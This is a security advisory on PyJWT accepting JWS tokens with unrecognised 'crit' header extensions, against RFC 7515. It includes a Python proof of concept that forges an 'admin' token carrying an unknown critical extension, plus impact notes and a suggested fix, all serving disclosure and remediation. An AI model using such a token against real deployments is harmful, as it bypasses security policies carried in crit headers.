PyJWT accepts unknown `crit` header extensions

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a crit array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).

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RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this
specification and/or [JWA] are being used that MUST be understood and
processed. [...] If any of the listed extension Header Parameters are
not understood and supported by the recipient, then the JWS is invalid.

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Proof of Concept

import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

# Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy
Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

# jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])
# raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

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Impact

• Split-brain verification in mixed-library deployments (e.g., API
  gateway using jwcrypto rejects, backend using PyJWT accepts)
• Security policy bypass when crit carries enforcement semantics
  (MFA, token binding, scope restrictions)
• Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be
  silently ignored
• See CVE-2025-59420 for full impact analysis

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Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or
decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

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CWE

• CWE-345: Insufficient Verification of Data Authenticity
• CWE-863: Incorrect Authorization

References

• RFC 7515 §4.1.11
• CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)
• RFC 7800 — Proof-of-Possession Key Semantics